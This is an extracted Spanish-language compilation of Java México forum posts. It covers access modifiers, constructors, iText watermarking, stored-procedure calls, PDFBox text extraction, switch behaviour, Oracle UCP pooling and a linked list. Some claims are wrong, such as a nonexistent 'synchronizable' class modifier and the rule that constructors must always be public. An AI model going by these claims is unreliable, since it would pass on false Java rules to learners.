Las clases public son accesibles desde otras clases, bien sea directamente o por herencia.Son accesibles dentro del mismo paquete en el que se han declarado. Para acceder desdeotros paquetes, primero tienen que ser importadas.
synchronizable
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 56/169
Este modificador especifica que todos los métodos definidos en la clase son sincronizados,es decir, que no se puede acceder al mismo tiempo a ellos desde distintos threads; elsistema se encarga de colocar los flags necesarios para evitarlo. Este mecanismo hace quedesde threads diferentes se puedan modificar las mismas variables sin que haya problemasde que se sobreescriban.
2.-Atributos El control de acceso define si un atributo será privado (private) o público (public). Unatributo privado en una clase implica que sólo los métodos de esa clase (de ninguna otra)pueden usar (consultar o modificar) dichos atributos. Esto se traduce en que sólo los objetosque se creen, de tal clase, podrán trabajar con tales atributos.
Un atributo público, por el contrario, puede ser usado (consultado o modificado) por losmétodos de cualquier clase, esto se traduce en que cualquier objeto (sin importar la claseque los define) podrá usar tales atributos.
Ejemplo:A continuación se definen los atributos de una clase llamada Tiempo:
public class Tiempo { // Atributosprivate int hr, min, seg;
}
3.-Constructores Un Constructor es una función, método, etc, de las clases, la cual es llamadaautomáticamente cuando se crea un objeto de esa clase.
Por ser métodos, los constructores también aceptan parámetros. Cuando en una clase no
especificamos ningún tipo de constructor, el compilador añade uno público por omisión sinparámetros, el cual NO hace nada.
Características de los Constructores:1. Un constructor, tiene el mismo nombre de la clase a la cual pertenece.2. No puede ser Heredado.3. No retorna ningún valor (Ni void), por lo cual no debe especificarse ningún tipo de dato.4. Debe declararse como public, sólo en casos realmente extraordinarios será de otro tipo
public <nombre clase>([<lista de parámetros>]) {[<sentencias>]
}
Un constructor siempre debe ser definido como público, de manera que sea posible, paracualquier objeto, crear objetos de cualquiera otra clase (definida como pública). Estollevado al plano de las definiciones de clases, cualquier método que lo requiera podrá crearun objeto de la clase que sea, según las necesidades que se tengan en virtud del problema aresolver.
Cualquier mejora dejarme su comentario. Gracias
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 57/169
Aportación JavaMéxico - PCJ - Colocar
marca de agua a una imágen (PDF)
Que tal, aqui le dejo un ejemplo de como podemos generar un archivo PDF a partir de unaimágen, además de colocarle un texto estilo "marca de agua", utilizando la libreria Itext(1.4.8). Esto lo utilice en un proyecto donde de acuerdo a los perfiles de cada usuario, porseguridad podian ver documentacion con o sin marca de agua.
Les dejo comentarios sobre el código.
Este es el método principal donde se genera el PDF.
public void generarMarcaAgua(){ //Indicamos la ruta de la imagen
String rutaImagen = "c:\\imagen.tif"; //Se crea el documento Document document = new Document();
try { //Se crea un writer de la clase PdfWriter para
generar el PDF PdfWriter writer =
PdfWriter.getInstance(document, new FileOutputStream ("c:\\imagen.pdf"));
document.open();
document.setPageSize(PageSize.LETTER);
//Se manda llamar el método que coloca la imágen
en el PDF poneImagen(document, rutaImagen) //Se manda llamar el método que coloca el texto
"marca de agua", en el PDF poneSelloAgua(writer);
document.close();
} catch (Exception e) { e.printStackTrace();
} }
Este método coloca la imágen en el PDF
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 58/169
private static void poneImagen(Document document, String archivo) {
RandomAccessFileOrArray ra = null; boolean resultado = false; try {
ra = new RandomAccessFileOrArray(archivo ,true); Image img = TiffImage.getTiffImage(ra, 1); if (img != null) {
//Se valida la escala de la imágen
if (img.scaledWidth() > 600 ||img.scaledHeight() > 800) {
//Se reduce la escala de la imágen
img.scaleToFit(615, 825); } //Se indica la posicion donde se colocara la
imágen en el PDF img.setAbsolutePosition(0, 0); //Se inserta la imágen en el PDF document.add(img);
} ra.close();
} catch (Exception e) {
System .out.println("Error al agregar imagen alPDF " + e.getMessage());
} }
Finalmente, este método coloca el texto de marca de agua al PDF.
private static void poneSelloAgua(PdfWriter writer) { try {
PdfContentByte cb = writer.getDirectContent(); //Se crea un templete para asignar la marca de
agua PdfTemplate template = cb.createTemplate(700,
300);
template.beginText(); //Inicializamos los valores para el templete //Se define el tipo de letra, color y tamaño BaseFont bf =
BaseFont.createFont(BaseFont.HELVETICA, BaseFont.CP1252,BaseFont.NOT_EMBEDDED);
template.setColorFill(new Color(220, 220,220));
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 59/169
template.setFontAndSize(bf, 6);
template.setTextMatrix(0, 0); //Se define el texto que se agregara como
marca de agua
template.showText("TEXTO MARCA AGUA"); template.endText();
//Se asigna el templete //Se asignan los valores para el texto de
marca de agua // Se asigna el grado de inclinacion y la
posicion donde aparecerá el texto //
x y cb.addTemplate(template, 1, 1, -1,1, 50, 500);
} catch (Exception e) {
e.printStackTrace(); }
}
Saludos.
Que tal RuGI,
No se ti te entendi bien, pero a ver si esto resuelve tu duda:
Teniendo el archivo PDF, inserto la imagen a través de un PdfContentBytecon esto se respeta las secciones que la imágen tiene transparentes.
Document document = new Document(); //Se crea un reader para el PDF PdfReader reader = new PdfReader("/origen.pdf"); //obtenemos el número de páginas del archivo int total = reader.getNumberOfPages();
PdfWriter pdfwriter =
PdfWriter.getInstance(document, new FileOutputStream ("/destino.pdf"));
PdfImportedPage pdfimportedpage = null; Image image = Image.getInstance("/imagen.png"); document.open();
//Declaro el PdfContentByte obteniendo el Direct
Content del PDF.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 60/169
PdfContentByte pdfcontentbyte =pdfwriter.getDirectContent();
for(int j = 1; j <= total; j++) {
//Se agregan las paginas al documento PDF
document.newPage(); pdfimportedpage =
pdfwriter.getImportedPage(reader, j); pdfcontentbyte.addTemplate(pdfimportedpage,
1.0F, 0.0F, 0.0F, 1.0F, 0.0F, -10F); //Se asigna la posición de la imágen image.setAbsolutePosition(100,100); //Se asigna la imágen al PDF pdfcontentbyte.addImage(image);
} document.close();
Aportación JavaMéxico - PCJ Ejecutar un
procedimiento almacenado (PL/SQL)
desde Java
Hola, para todos aquellos que tienen procedimientos almacenados en sus bases de datos ynecesiten ejecutarlo desde una aplicacion Java aqui le muestro un ejemplo:
Primeramente debemos crearnos un metodo que concatene el paquete del procedimiento, elnombre del procedimiento y sus respectivos parametros, este metodo puede ir en su clasede Utilerias:
public class Utils{
public static String llamarProcedimiento(String nombrePaquete, String nombreProcedimiento, int numeroParametros) {
StringBuffer sb = new StringBuffer("{call " +
nombrePaquete + "." + nombreProcedimiento + "("); for (int n = 1; n <= numeroParametros; n++) {
sb.append("?"); if (n < numeroParametros) {
sb.append(","); }
} return sb.append(")}").toString();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 61/169
} }
Despues en su clase de constantes puede declarar un atributo que mande a llamar al metodoanteriormente creado:
public class Constantes{
public static String PROCEDIMIENTO =Utils.llamarProcedimiento("nombre_del_paquete","nombre_procedimiento_almacenado", 3); }
Y finalmente en su clase DAO mandar a llamar al atributo PROCEDIMIENTO de la claseConstantes:
public void ejecutarProcedimiento(int parametro1, int parametro2, String parametro3) throws Exception {
Connection con = null; CallableStatement cs = null; try {
con = ... //Obtenemos la conexion a la Bade de
Datos
cs = con.prepareCall(Constantes.PROCEDIMIENTO); // Mandamos a llamar al atributo PROCEDIMIENTO de nuestra
clase de Constantes
// Cargamos los parametros de entrada cs.setInt(1, parametro1); cs.setInt(2, parametro2); cs.setString(3, parametro3);
// Ejecutamos cs.execute();
} catch (Exception e) { throw new Exception(e); //Propagamos la Excepcion
} finally { if(cs != null) //Finalizamos cerrando el
CallableStatement
cs.close();
if(con != null) //Finalizamos cerrando laconexion
con.close();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 62/169
} }
Este codigo lo probe con un procedimiento almacenado en Oracle, pero deberia sertrasparente para cualquier gestor de base de datos que se este usando.
Nota: en el DAO es necesario importar la libreria: java.sql.CallableStatement;
Hola rvillanuevap, con respectos a tu primer pregunta, mi respuesta es SI, es lo mismomandar a llamar un procedimiento almacenado o una funcion, y en cuanto a tu segundapregunta, puedes obtener el resultado en un ResultSet y mostrarlo de una manera muyparecida como lo harias con una consulta, ejemplo:
public void ejecutarProcedimiento(...) throws Exception { Connection con = null; CallableStatement cs = null; try
{ con = ... //Obtenemos la conexion a la Bade de
Datos
cs = con.prepareCall(...);
// Registramos el parámetro como de salida, // indicando que devuelve un número entero cs.registerOutParameter( 1, Types.INTEGER);
// Ejecutamos el procedimiento almacenado ResultSet resultado = cs.executeQuery();
// Leemos el parámetro de salida del
procedimiento, // almacenándolo en un entero int i = cs.getInt(1); if (cs.wasNull()) {
System .out.println("Resultado nulo"); } else {
System .out.print("Valor devuelto: " +i); }
} catch (Exception e) { throw new Exception(e); //Propagamos la Excepcion
} finally { if (cs != null) //Finalizamos cerrando el
CallableStatement {
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 63/169
cs.close(); }
if (con != null) //Finalizamos cerrando laconexion
{ con.close(); }
} }
Aportación Java México - PCJ -Leer un
PDF desde una url con PDFBox
Hace poco tiempo me tope con la necesidad de leer documentos pdf desde un servidor paraobtener el texto y sus propiedades, por lo que tuve que investigar que apis permiten lamanipulación de un pdf, me tope con un buen blog el cual te explica como hacerlo conPDFBox a mi parecer esta muy entendible y me sirvió para mi propósito, lo único que hicefue modificarlo un poco acorde a mis necesidades, el link del blog que mencioneanteriormente es : http://noelia-java.blogspot.com/2009/07/leer-pdf-desde-java.html
Las clases que genere son las siguientes:
Para el modelo donde se almacenara la información del pdf:
/** * * @author sakura*/
public class EntidadPDF { private String titulo;
private String autor; private int numeroDePaginas; private String tema; private String palabrasClave; private String creador; private String productor; private String contenido;//el contenido
completo del documento
public String getAutor() { return autor;
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 64/169
public void setAutor(String autor) { this.autor = autor;
}
public String getContenido() { return
contenido; }
public void setContenido(String contenido) { this.contenido = contenido;
}
public String getCreador() { return creador;
}
public void setCreador(String creador) { this.creador = creador;
}
public int getNumeroDePaginas() { return numeroDePaginas;
}
public void setNumeroDePaginas(int numeroDePaginas) { this.numeroDePaginas = numeroDePaginas;
}
public String getPalabrasClave() { return palabrasClave;
}
public void setPalabrasClave(String palabrasClave) { this.palabrasClave = palabrasClave;
}
public String getProductor() { return productor;
}
public void setProductor(String productor) { this.productor = productor;
}
public String getTema() { return tema;
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 65/169
public void setTema(String tema) { this.tema = tema;
}
public String getTitulo() { return
titulo; }
public void setTitulo(String titulo) { this.titulo = titulo;
}
}
El método que leera el pdf dada una url esta contenido en la siguiente clase
import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.net.URL; import org.pdfbox.pdfparser.PDFParser; import org.pdfbox.pdmodel.PDDocument; import org.pdfbox.pdmodel.PDDocumentInformation; import org.pdfbox.util.PDFTextStripper;
/** *
* @author sakura*/
public class ContenedorPDF {
private FileInputStream file = null; private PDDocument document = null;
/** * Abre el archivo especificado en la ruta para generar
un objeto de tipo EntidadPDF * @param archivo
* @return*/
public EntidadPDF convertirAModelo(String archivo) { EntidadPDF entPdf = new EntidadPDF(); try {
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 66/169
//leemos el pdf dada una url URL url = new URL(archivo); InputStream is = url.openStream();
PDFParser parser = new PDFParser(is);
parser.parse(); document = parser.getPDDocument();
//Obtenemos todo el contenido del pdf PDFTextStripper stripper = new PDFTextStripper(); entPdf.setContenido(stripper.getText(document));
//obtenemos la informacion de las propiedades del
pdf PDDocumentInformation info =
document.getDocumentInformation();
entPdf.setTitulo(info.getTitle()); entPdf.setAutor(info.getAuthor()); entPdf.setNumeroDePaginas(document.getNumberOfPag
es()); entPdf.setTema(info.getSubject()); entPdf.setPalabrasClave(info.getKeywords()); entPdf.setCreador(info.getCreator()); entPdf.setProductor(info.getProducer());
} catch (FileNotFoundException e) {
e.printStackTrace(); } catch (IOException e) {//no se pudo abrir el
archivo e.printStackTrace();
} finally { if (file != null) {
try { file.close();
} catch (IOException e) {//no se pudo cerrar el archivo
e.printStackTrace();
} } if (document != null) {
try { document.close();
} catch (IOException e) {//no se pudo cerrar el documento
e.printStackTrace();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 67/169
} }
}
return entPdf;
} }
Bien espero y le sea de ayuda, una vez que tenemos el texto del pdf como String podemosocupar esta información para diferentes propósitos, les dejo otro link de otras apis quepermiten la manipulación de un pdf http://www.qoppa.com/
error al implementar
Submitted by ripr on Sáb, 07/02/2011 - 11:50.
sakura, he copiado tu codigo creo un clase de prueba pero, me genera un error. Espero mepuedas guiar que en donde lo estoy haciendo mal, ya que tambien necesito sacar el texto deun pdf. agrego el codigo que hice y el error que me lanza.
public class test { public static void main(String[] args) {
ContenedorPDF pdf=new ContenedorPDF(); EntidadPDF archivo; archivo=pdf.convertirAModelo("http://www.uv.es/ivorra
/Latex/LaTeX.pdf"); System .out.println(archivo.getAutor()); }
}
error
run:Exception in thread "main" java.lang. NoClassDefFoundError:org/fontbox/cmap/CMapParser
atorg.pdfbox.pdmodel.font.PDFont.parseCmap(PDFont.java:534)
atorg.pdfbox.pdmodel.font.PDFont.encode(PDFont.java:387)
atorg.pdfbox.util.PDFStreamEngine.showString(PDFStreamEngine.java:325)
atorg.pdfbox.util.operator.ShowText.process(ShowText.java:64)
at
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 68/169
org.pdfbox.util.PDFStreamEngine.processOperator(PDFStreamEngine.java:452)
atorg.pdfbox.util.PDFStreamEngine.processSubStream(PDFStreamEngine.java:215)
atorg.pdfbox.util.PDFStreamEngine.processStream(PDFStreamEngine.java:174)
atorg.pdfbox.util.PDFTextStripper.processPage(PDFTextStripper.java:336)
atorg.pdfbox.util.PDFTextStripper.processPages(PDFTextStripper.java:259)
atorg.pdfbox.util.PDFTextStripper.writeText(PDFTextStripper.java:216)
atorg.pdfbox.util.PDFTextStripper.getText(PDFTextStripper.java:149)
atnuevo.ContenedorPDF.convertirAModelo(ContenedorPDF.java:30)
at nuevo.test.main(test.java:6) Caused by: java.lang.ClassNotFoundException:org.fontbox.cmap.CMapParser
atjava.net.URLClassLoader$1.run(URLClassLoader.java:202)
at java.security. AccessController.doPrivileged(Native
Method ) at
java.net.URLClassLoader.findClass(URLClassLoader.java:190) at
java.lang.ClassLoader.loadClass(ClassLoader.java:306) at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301) at
java.lang.ClassLoader.loadClass(ClassLoader.java:247) ... 13 more
Java Result: 1
GENERACIÓN CORRECTA (total time: 4 seconds)
saludos y ojala y me puedas ayudar
Practica, Un Menú de operaciones a travéz
de métodos.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 69/169
Hola gente,
me llamo José Manuel y soy un estudiante de ISC, llevo días en la pagina y por fin medecidí a aportar algo para la comunidad.Si bien es verdad que el código es sencillo y básico es solo una practica a fin de cuentas.
Bueno la cosa se trata de lo siguiente por si aun no me eh explicado correctamente, elprograma es totalmente en texto y trata de un menú que contiene3 diferentes opciones la primera se trata de un método que nos realiza cualquier tabla demultiplicar, la segunda opción nos realiza una sumatoria del numero que le indiquemos, yla tercer opción es para salir del programa.
Veamos a hora el código:
//Programa que realiza operaciones con el uso del switch,
for, while y do-while //con el uso de métodos
import java.io.*; public class menuopemet {
public void multi(BufferedReader leer_dato)throws IOException
{ int numero, contador=1; BufferedReader leer=new BufferedReader(new
InputStreamReader(System .in)); System .out.print("Numero de la tabla que quiere
multiplicar: ");
numero=Integer.parseInt(leer.readLine());
do{ System .out.println(numero+"X"+contador+"="+(numero*contad
or)); contador++; }
while(contador<=10); } public void sumato(BufferedReader leer_dato)throws
IOException
{ int dato,i,sumatoria; BufferedReader leer=new BufferedReader(new
InputStreamReader(System .in)); System .out.print("El numero del que quiere hacer la
sumatoria: "); dato=Integer.parseInt(leer.readLine()); for(i=1, sumatoria=0; i<=dato; sumatoria=sumatoria+i,
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 70/169
i++) {
} System .out.print("La sumatoria del "+dato+" es
"+sumatoria+"\n"); }
public static void main(String args[])throws IOException { int opcion; menuopemet obj=new menuopemet() ; BufferedReader leer=new BufferedReader(new
InputStreamReader(System .in)); do{ System .out.println("***Menu***"); System .out.println("1.-Multiplicacion"); System .out.println("2.-Sumatoria"); System .out.println("3.-Salir"); System .out.print("--Escoja una opcion:"); opcion=Integer.parseInt(leer.readLine());
switch(opcion) { case 1:obj.multi(leer);break; case 2:obj.sumato(leer);break; case 3:System .out.println("Bay...");break; default:System .out.println("Escoja una opcion valida"); }
} while(opcion!=3); }
}
Con este pequeño código ustedes pueden ir cambiando cosas y mejorándolo son libres dehacerlo, la cosa es que aprendamos más.
Si para algunos hay cosas que no comprenden en el código, tomense la libertad de
comentarlo y trataremos de solucionarlo, por otra parte si el código no es muy básico paraustedes y quisieran aprender me animaría a postear practicas explicando parte porparte(admito que esto es lo que quisiera).No les mentiré y les diré que soy un "pro" en programación soy solo un principiante perocon muchos deseos de aprender y de compartir el conocimiento.
Pues bien ese seria el código de nuestro programa, se que la mayoría deustedes son profesionales en programación
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 71/169
o a la mejor no, pero son muy buenos programadores y que simplementepudieran llegar a ver esto como una perdida de tiempo.Por eso es que estas lineas de código van dirigidos a quienes vancomenzando(aunque también es para todos claro).Pero la verdad es que me gustaría ver un México lleno de programadoresjeje y no solo nosotros sino que toda latinoamericana yel mundo se llenara de programadores que tuvieran ese conocimiento,se que soy algo soñador pero si esto ayuda en algo lo haré tanto comopueda o haga falta.
Espero y haya sido de su agrado.
Observación en el comportamiento de la
sentencia SWITCH.
Hola a todos aquí al estar repasando mis notas me encontré con una curiosidad (Al menospara mi lo es) respecto al funcionamiento de la sentencia SWITCH que quisiera compartircon ustedes, la verdad, no sé si ya lo habrán notado, pero al menos estoy seguro quemuchos no tienen ni idea de lo confuso que pudiera ser el funcionamiento de una sentenciaSWITCH (Y refiriéndome más hacia las personas que aún dan sus primeros pasos enJ2SE).
Si tenemos el siguiente código:
int x = 2; switch (x) { case 2: System .out.println("2"); default: System .out.println("default"); case 3: System .out.println("3"); case 4: System .out.println("4");
}
El resultado es el siguiente:2default34
Si tenemos ahora el siguiente código:
int x = 7; switch (x) { case 2: System .out.println("2"); default: System .out.println("default"); case 3: System .out.println("3");
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 72/169
case 4: System .out.println("4"); }
El resultado es el siguiente:default
34
Lo ejemplos anteriores me hicieron entender lo siguiente: "En cuanto se encuentra undefault, inmediatamente se ejecuta y se ejecutarán también los cases restantes encascada(Por no tener sus respectivos breaks claro)". Pues bien, no sé si ustedes hayanpensado lo mismo, pero luego al estar haciendo pruebas me encontré con los siguientesresultados:
Si tenemos este código:
int x = 2; switch (x) { case 3: System .out.println("3"); default: System .out.println("default"); case 2: System .out.println("2"); case 4: System .out.println("4");
}
El resultado es el siguiente:24
Y finalmente, si tenemos el siguiente código:
int x = 5; switch (x) { case 3: System .out.println("3"); default: System .out.println("default"); case 2: System .out.println("2"); case 4: System .out.println("4");
}
El resultado que obtendremos será:default24
Lo que me hizo notar que lo que pensé anteriormente estaba mal, y en realidad la forma enque trabaja el bloque switch, es como si al momento de entrar el ya supiera de antemano siel valor que se busca lo tiene o no lo tiene, si lo tiene, se espera a encontrarlo para
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 73/169
ejecutarlo y si no lo tiene, sabrá que al momento de llegar al default, inmediatamenteentrará para ejecutarlo.
Bueno, únicamente quería compartir esta observación con ustedes, por que yo no sé si seamuy obvio, o si muchos de ustedes ya sabían, pero como la mayoría de las veces, ponemos
los cases en orden ascendente y el default de último, apuesto que muchos no habrán notadoeste funcionamiento. ¡¡Es algo confuso!!. Me encantaría que dejaran sus comentarios alrespecto. Y espero esto les ayude a varios.
Universal Connection Pool para Driver
JDBC de Oracle
Al construir aplicaciones web en java, es muy importante manejar las conexiones a base dedatos mediante connection pooling para hacer un uso adecuado de los recursos de la base
de datos.
Tomcat cuenta con su propia implementacion de connection pooling que se puede aplicar acualquier driver JDBC llamado DBCP, pero, desgraciadamente esta implentacion depooling a menudo falla al cerrar las conexiones por lo que acaba desperdiciando recursosdel servidor.
El Driver JDBC de Oracle cuenta con 2 modos de pooling que si bien son mas confiables ala hora de recuperar recursos tampoco estan libres de problemas:
1. Pooling Explicito (oracle.jdbc.pool.OracleConnectionCacheImpl)Obsoleto.
Desventajas: inestabilidad por que no cuenta con capacidad intrinseca para validarconexiones2. Pooling Implicito (oracle.jdbc.pool.OracleDataSource) :Obsoleto, Ventajas:
Compatible con supervisión mediante LambdaProbe. Desventajas: Sigue sufriendode inestabilidad, por sigue sin contar con capacidad intrinseca para validarconexiones
Recientemente aparecio un tercer modo:
UCP: Universal Connection Pool (oracle.ucp.jdbc.PoolDataSourceImpl) El modorecomendado por Oracle, supuestamente estable, puede validar conexiones, cuenta con una
arquitectura unificada y portable que puede utilizarse no solo para pooling con Oracle si notambien con otras bases de datos.
Este modo de pooling cuenta con una documentacion mas o menos decente, pero con laimportante carencia de no contar con ejemplos concretos de como configurarla, porejemplo, para Tomcat, asi que me di a la tarea de encontrar el modo:
Ejemplo de la configuracion requerida para tomcat:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 74/169
<Resource name="jdbc/nombreRecursoJNDI"
auth="Container"
scope="Shareable"
factory="oracle.ucp.jdbc.PoolDataSourceImpl"
type="oracle.ucp.jdbc.PoolDataSource"
connectionFactoryClassName="oracle.jdbc.pool.OracleDataSource"
url="jdbc:oracle:thin:@direccionip:puerto:sid"
user="*****"
password="****"
minPoolSize="10" maxPoolSize="20"
validateConnectionOnBorrow="true"/>
Lo interesante de esta nueva configuracion es la opcion ―validateConnectionOnBorrow‖que, de acuerdo con la documentacion de UCP deberia encargarse de evitar los errorestipicos de los 2 modos originales de pooling: ―Conexion Cerrada‖ para una conexion que
acabamos de obtener del pool, o ―El cache de conexiones ha caducado‖ igualmente para
cuando reclamamos una conexion del pool que no se habia utilizado desde hace un buenrato.
Aun no he tenido oportunidad de probar UCP en condiciones de produccion, por lo que noestoy seguro de que efectivamente sea una mejoria, pero pienso hacerlo durante lasproximas semanas (siempre que la severa limitacion del ClasspathHell de Tomcat mepermita hacerlo). Una ves efectuadas las pruebas, las publicare aqui mismo.
Código) Utilizando java.io.File
Que tal a todos, bueno pues esta es mi primera aportación respecto a código fuente.Realmente es algo bastante sencillo, y me sirvió para ordenar mis archivos de música, nohace grandes cosas, pero al menos a mi me ha servido para resolver mi problema enparticular, y digamos, que para no desperdiciar este pequeño código (así como algunos nodeseamos desperdiciar la comida, por decir algún ejemplo análogo) ya que pensaba eneliminarlo, pensé que tal vez a alguien le podría servir de referencia.
Primeramente, entraré en detalle de cuál la problemática que intentaba resolver con estepequeño código: Normalmente ordeno mis albums de música en una carpeta con el nombre
del artista y dentro de esa misma carpeta, encarpetaba individualmente cada uno de los
albums del mismo artista. Y así tengo cientos de artistas y con sus respectivos albums.
Hasta que un día pensé que era difícil navegar por los archivos de mp3, ya que tenía que
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 75/169
estar entrando y saliendo a través de múltiples carpetas y decidí mejor poner en raíz todos
los albums de todos los artistas con el siguiente formato para que así los archivos no estén
navegando como una "sopa de albums": artista - [] album (Y entre los corchetes
opcionalmente poner el año en que se creo el album, claro, eso tendría que ser
manualmente e independiente de este pequeño programa, por que esa información, no la
tengo para todos mis archivos).
Ahora bien aquí les copio y pego el código:
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package albums; import java.io.File;
/** * * @author cfpmx */
public class Main {
/** * @param args the command line arguments*/
public static void main(String[] args) throws java.io.IOException {
// TODO code application logic here File raiz = new File( "artistas" );
String[] raizdir = raiz.list();
for( String nomArtista : raizdir ) { File avance = new File( "./artistas/" +
nomArtista );
for( File nomAlbum : avance.listFiles() ){ String renom = nomArtista + " - [] " +
nomAlbum.getName(); System .out.println( renom ); File renombrar = new File( renom ); nomAlbum.renameTo( renombrar ); System .out.println( nomAlbum.getName() );
}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 76/169
}
}
}
Este programa lo he creado con netbeans, cree un directorio "artistas" en el proyecto y pordefault ahí pegué las carpetas de los artistas que contenían los albums. Creo que esto estodo, si tienen dudas o problemas al ejecutarlo, no duden en preguntarme y finalmente, noacepto críticas pero si comentarios, ya que este código como les mencioné anteriormentefue EXPRESS y definitivamente le podemos componer, quitar o añadir las cosas que se nosvenga en mente y mi única intensión fue en que probablemente a alguien le pudiera servirtal vez para fines didácticos.
Hasta pronto, y muchos saludos.
Atentamente, cfpmx.
PD: Les dejo el proyecto: http://cid-23c5625615d3fbdb.skydrive.live.com/self.aspx/.Public/javamexi...
Leer un archivo de texto
/***********************************************
//Jesus Sanchez Cruz
//e-mail: [email protected]
//INSTITUTO TECNOLOGICO DE OAXACA
//Licenciatura en Informatica
**********************************************/ import java.io.*; public class LeeFichero {
public static void main(String [] arg) { File archivo = null; FileReader fr = null; BufferedReader br = null; try {
// Apertura del fichero y creacion de BufferedReader
para poder // hacer una lectura comoda (disponer del metodo
readLine()). archivo = new File ("LeeFichero.java"); fr = new FileReader (archivo); br = new BufferedReader(fr);
// Lectura del fichero String linea;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 77/169
while((linea=br.readLine())!=null) System .out.println(linea);
} catch(Exception e){
e.printStackTrace(); }finally{
// En el finally cerramos el fichero, para
asegurarnos // que se cierra tanto si todo va bien como si salta
// una excepcion. try{
if( null != fr ){ fr.close();
} }catch (Exception e2){
e2.printStackTrace(); }
} }
}
Estructura de datos java (Listas
simplemente enlazadas) Primer aporte
Buenas madrugadas a todos, aquí dejo un simple aporte, espero no este posteado ya, yespero les sea muy útil, saludos!
/*
* Lista Simplemente enlazada.
*
*/
/** * * @author Pain*/ //Clase Nodo. Utiliza el enlace llamado nodoDer o nodo
derecho y el valor a introducir. public class Nodo {
Nodo nodoDer; int dato;
public Nodo(int dato) { this.dato = dato;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 78/169
this.nodoDer = null; }
}
/** Clase de Lista enlazada y metodos de agregar al final y
borrar del mismo, asi como mostrar tamaño y visualizar lista.
*
*/
import javax.swing.JOptionPane;
/** * * @author Pain*/
public class ListaS { private Nodo primero; private Nodo ultimo; private int tamano;
public ListaS() { this.primero = null; this.ultimo = null; this.tamano = 0;
}
//Metodo utilizado para denotar que la lista se encuentravacia.
public boolean siVacio() { return (this.primero == null);
}
//Metodo para agregar al final de la lista. public ListaS addLast(int dato) {
if(siVacio()) { Nodo nuevo = new Nodo(dato); primero = nuevo;
ultimo = nuevo; nuevo.nodoDer = nuevo;
} else {
Nodo nuevo = new Nodo(dato); nuevo.nodoDer = null; ultimo.nodoDer = nuevo; ultimo = nuevo;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 79/169
} this.tamano++; return this;
}
//Metodo para borrar al final de la lista. public Nodo deleteLast() {
Nodo eliminar = null; if(siVacio()) {
JOptionPane.showMessageDialog(null, "La lista seencuentra vacia");
return null; } if(primero == ultimo) {
primero = null; ultimo = null;
} else {
Nodo actual = primero; while(actual.nodoDer != ultimo) {
actual = actual.nodoDer; } eliminar = actual.nodoDer; actual.nodoDer = null;
ultimo = actual; } this.tamano--;
return eliminar; }
//Metodo que imprime el tamaño de la lista. public void tamano() {
JOptionPane.showMessageDialog(null, "El tamaño es:\n " + this.tamano);
}
//Metodo que imprime la lista y los valores ingresados. public void imprimir() {
if(tamano != 0) { Nodo temp = primero; String str = ""; for(int i = 0; i < this.tamano; i++) {
str = str + temp.dato + "\n"; temp = temp.nodoDer;
} JOptionPane.showMessageDialog(null, str);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 80/169
} }
}
Espero que de alguna manera les sea de utilidad este código. Saludos Comunidad.
Con Generics podrias manejar listas de un cierto tipo de objeto. Y si el método de tamano()devuelve un int con el tamaño en vez de imprimir un diálogo, entonces ya no depende deSwing y se puede usar en aplicaciones sin interfaz gráfica o en web, etc.
En la clase Nodo, la propiedad nodoDer debería ser privada y la clase debe tener accesorespara modificarlo. La propiedad dato en vez de int puede ser genérica, algo asi:
public class Nodo<T> { private Nodo<T> sig; private T dato;
public Nodo(T data) { dato = data;
}
public Nodo(T data, Nodo<T> sig) { dato = data; this.sig = sig;
}
public void setSiguiente(Nodo<T> sig) { this.sig = sig;
} public Nodo<T> getSiguiente() {
return sig; }
public T getDato() { return dato;
}
}
De igual manera la lista la haces genérica para poder manejar listas que almacenen datos decualquier clase.
como se guardan eliminar y borran datos en netbeans 6.5 y MySQL
Submitted by carolina salced... on Dom, 05/24/2009 - 18:44.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 81/169
Hola soy de colombia estudio analisis y diseño de sistemas de informacion tengo una dudano se por que me ha generado error el siguiente codigo me puden ayudar por favor es parala entrega de mi proyecto y no he podido avanzar ya esta los enlaces hechos en la base dedatos trabajo con mysql y bueno no me genera error pero tampoco hace el proceso y cuandovoy a guardar no lo hace
/** To change this template, choose Tools | Templates* and open the template in the editor.*/
package proyecto;
import com.sun.rave.web.ui.appbase.AbstractPageBean;import com.sun.webui.jsf.component.Alert;import com.sun.webui.jsf.component.Button;import com.sun.webui.jsf.component.Calendar;
